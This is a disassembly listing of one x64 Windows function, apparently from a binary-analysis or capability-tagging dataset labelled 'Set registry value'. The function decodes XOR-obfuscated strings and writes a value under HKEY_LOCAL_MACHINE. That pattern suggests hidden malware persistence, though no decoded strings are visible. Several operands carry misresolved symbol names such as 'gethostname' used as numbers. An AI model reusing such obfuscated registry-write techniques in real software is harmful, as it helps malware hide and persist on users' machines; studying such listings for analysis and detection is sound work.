Function at 0x140073620
Capabilities:
Set registry value

Disassembly:
push rsi
push rdi
sub rsp, 0x468
mov rax, qword [0x1401970c0]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov dword [rsp + 0x8c], 0
lea rax, [rsp + 0x6c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1c0]
lea rcx, [0x14017a858]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_50
rep movsb byte [rdi], byte [rsi]
mov eax, 2
imul rax, rax, 0x17
movzx eax, word [rsp + rax + 0x1c0]
test eax, eax
je 0x140073693
mov dword [rsp + 0x74], 1
jmp 0x14007369b
mov dword [rsp + 0x74], 0
movzx eax, byte [rsp + 0x74]
test eax, eax
je 0x1400736fe
mov dword [rsp + 0x58], 0
jmp 0x1400736b8
mov eax, dword [rsp + 0x58]
inc eax
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0x18
jge 0x1400736fe
movsxd rax, dword [rsp + 0x58]
movzx eax, word [rsp + rax*2 + 0x1c0]
mov dword [rsp + 0xb0], eax
mov eax, dword [rsp + 0x58]
cdq
mov ecx, gethostname
idiv ecx
mov eax, edx
add eax, 0x38
mov ecx, dword [rsp + 0xb0]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x58]
mov word [rsp + rcx*2 + 0x1c0], ax
jmp 0x1400736ae
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0x6d]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0xb8]
lea rcx, [0x14017a888]
mov rdi, rax
mov rsi, rcx
mov ecx, listen
rep movsb byte [rdi], byte [rsi]
mov eax, 2
imul rax, rax, 5
movzx eax, word [rsp + rax + 0xb8]
test eax, eax
je 0x14007375a
mov dword [rsp + 0x78], 1
jmp 0x140073762
mov dword [rsp + 0x78], 0
movzx eax, byte [rsp + 0x78]
test eax, eax
je 0x1400737c5
mov dword [rsp + 0x5c], 0
jmp 0x14007377f
mov eax, dword [rsp + 0x5c]
inc eax
mov dword [rsp + 0x5c], eax
cmp dword [rsp + 0x5c], 6
jge 0x1400737c5
movsxd rax, dword [rsp + 0x5c]
movzx eax, word [rsp + rax*2 + 0xb8]
mov dword [rsp + 0xb4], eax
mov eax, dword [rsp + 0x5c]
cdq
mov ecx, gethostname
idiv ecx
mov eax, edx
add eax, 0x38
mov ecx, dword [rsp + 0xb4]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x5c]
mov word [rsp + rcx*2 + 0xb8], ax
jmp 0x140073775
lea rax, [rsp + 0xb8]
mov qword [rsp + 0xe8], rax
lea rax, [rsp + 0x6e]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x230]
lea rcx, [0x14017a8a0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x46
rep movsb byte [rdi], byte [rsi]
mov eax, 2
imul rax, rax, 0x22
movzx eax, word [rsp + rax + 0x230]
test eax, eax
je 0x140073821
mov dword [rsp + 0x7c], 1
jmp 0x140073829
mov dword [rsp + 0x7c], 0
movzx eax, byte [rsp + 0x7c]
test eax, eax
je 0x14007388c
mov dword [rsp + 0x60], 0
jmp 0x140073846
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0x23
jge 0x14007388c
movsxd rax, dword [rsp + 0x60]
movzx eax, word [rsp + rax*2 + 0x230]
mov dword [rsp + 0xa0], eax
mov eax, dword [rsp + 0x60]
cdq
mov ecx, gethostname
idiv ecx
mov eax, edx
add eax, 0x38
mov ecx, dword [rsp + 0xa0]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x60]
mov word [rsp + rcx*2 + 0x230], ax
jmp 0x14007383c
lea rax, [rsp + 0x230]
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x300]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0xd8]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140073974
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0x90], 0xffffffffffffffff
inc qword [rsp + 0x90]
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0x90]
cmp word [rax + rcx*2], 0
jne 0x14007390a
mov rax, qword [rsp + 0x90]
lea rax, [rax + rax + 2]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x300]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x300]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x308]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_26
rep stosb byte [rdi], al
lea rax, [rsp + 0x6f]
mov qword [rsp + 0xf0], rax
lea rax, [rsp + 0x72]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x190]
lea rcx, [0x14017a8e8]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_45
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x2a
movsx eax, byte [rsp + rax + 0x190]
test eax, eax
je 0x1400739e4
mov dword [rsp + 0x80], 1
jmp 0x1400739ef
mov dword [rsp + 0x80], 0
movzx eax, byte [rsp + 0x80]
test eax, eax
je 0x140073a54
mov dword [rsp + 0x64], 0
jmp 0x140073a0f
mov eax, dword [rsp + 0x64]
inc eax
mov dword [rsp + 0x64], eax
cmp dword [rsp + 0x64], 0x2b
jge 0x140073a54
movsxd rax, dword [rsp + 0x64]
movsx eax, byte [rsp + rax + 0x190]
mov dword [rsp + 0xa4], eax
mov eax, dword [rsp + 0x64]
cdq
mov ecx, gethostname
idiv ecx
mov eax, edx
add eax, 0x38
mov ecx, dword [rsp + 0xa4]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x64]
mov byte [rsp + rcx + 0x190], al
jmp 0x140073a05
lea rax, [rsp + 0x190]
mov rdx, rax
lea rcx, [rsp + 0x290]
call fcn.14001af20
nop
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1f0]
lea rcx, [0x14017a918]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x3e
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x3d
movsx eax, byte [rsp + rax + 0x1f0]
test eax, eax
je 0x140073abc
mov dword [rsp + 0x84], 1
jmp 0x140073ac7
mov dword [rsp + 0x84], 0
movzx eax, byte [rsp + 0x84]
test eax, eax
je 0x140073b2c
mov dword [rsp + 0x54], 0
jmp 0x140073ae7
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0x3e
jge 0x140073b2c
movsxd rax, dword [rsp + 0x54]
movsx eax, byte [rsp + rax + 0x1f0]
mov dword [rsp + 0xa8], eax
mov eax, dword [rsp + 0x54]
cdq
mov ecx, gethostname
idiv ecx
mov eax, edx
add eax, 0x38
mov ecx, dword [rsp + 0xa8]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x54]
mov byte [rsp + rcx + 0x1f0], al
jmp 0x140073add
lea rax, [rsp + 0x1f0]
mov rdx, rax
lea rcx, [rsp + 0x2b0]
call fcn.14001af20
nop
lea rax, [rsp + 0x71]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x160]
lea rcx, [0x14017a958]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_45
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x29
movsx eax, byte [rsp + rax + 0x160]
test eax, eax
je 0x140073b94
mov dword [rsp + 0x88], 1
jmp 0x140073b9f
mov dword [rsp + 0x88], 0
movzx eax, byte [rsp + 0x88]
test eax, eax
je 0x140073c04
mov dword [rsp + 0x68], 0
jmp 0x140073bbf
mov eax, dword [rsp + 0x68]
inc eax
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 0x2a
jge 0x140073c04
movsxd rax, dword [rsp + 0x68]
movsx eax, byte [rsp + rax + 0x160]
mov dword [rsp + 0xac], eax
mov eax, dword [rsp + 0x68]
cdq
mov ecx, gethostname
idiv ecx
mov eax, edx
add eax, 0x38
mov ecx, dword [rsp + 0xac]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x68]
mov byte [rsp + rcx + 0x160], al
jmp 0x140073bb5
lea rax, [rsp + 0x160]
mov rdx, rax
lea rcx, [rsp + 0x2d0]
call fcn.14001af20
nop
lea rax, [rsp + 0x290]
mov qword [rsp + 0x108], rax
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0x110], rax
lea rax, [rsp + 0x118]
lea rcx, [rsp + 0x108]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x130]
lea rcx, [rsp + 0x118]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0xf0]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x308]
call fcn.140070090
nop
lea r9, [fcn.14001c060]
mov r8d, 3
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x290]
call fcn.14016419c
lea rax, [rsp + 0x308]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xd0]
mov rax, qword [rax]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xd0]
mov rax, qword [rax + 8]
mov qword [rsp + 0xf8], rax
jmp 0x140073d01
mov rax, qword [rsp + 0x98]
add rax, 0x20
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xf8]
cmp qword [rsp + 0x98], rax
je 0x140073e36
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x100], rax
lea rdx, [rsp + 0x280]
mov rcx, qword [rsp + 0x100]
call fcn.140072440
lea rcx, [rsp + 0x140]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
movaps xmm0, xmmword [rsp + 0x140]
movdqa xmmword [rsp + 0x150], xmm0
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x320]
call fcn.14002bac0
mov eax, dword [rsp + 0x8c]
or eax, 1
mov dword [rsp + 0x8c], eax
lea rax, [rsp + 0x340]
mov rdi, rax
xor eax, eax
mov ecx, pe_nt_image_headers64
rep stosb byte [rdi], al
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x340]
call fcn.14006e2b0
nop
cmp qword [rsp + 0x3c8], 0
je 0x140073dd8
mov byte [rsp + 0x50], 1
jmp 0x140073ddd
mov byte [rsp + 0x50], 0
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x51], al
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x52], al
movzx eax, byte [rsp + 0x52]
lea rcx, [rsp + 0x340]
call fcn.140022af0
nop
lea rax, [rsp + 0x3e8]
mov rcx, rax
call fcn.14001bfd0
lea rax, [rsp + 0x3e8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x320]
call fcn.140022630
jmp 0x140073ced
lea rcx, [rsp + 0x308]
call fcn.1400986a0
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140163a00
add rsp, 0x468
pop rdi
pop rsi
ret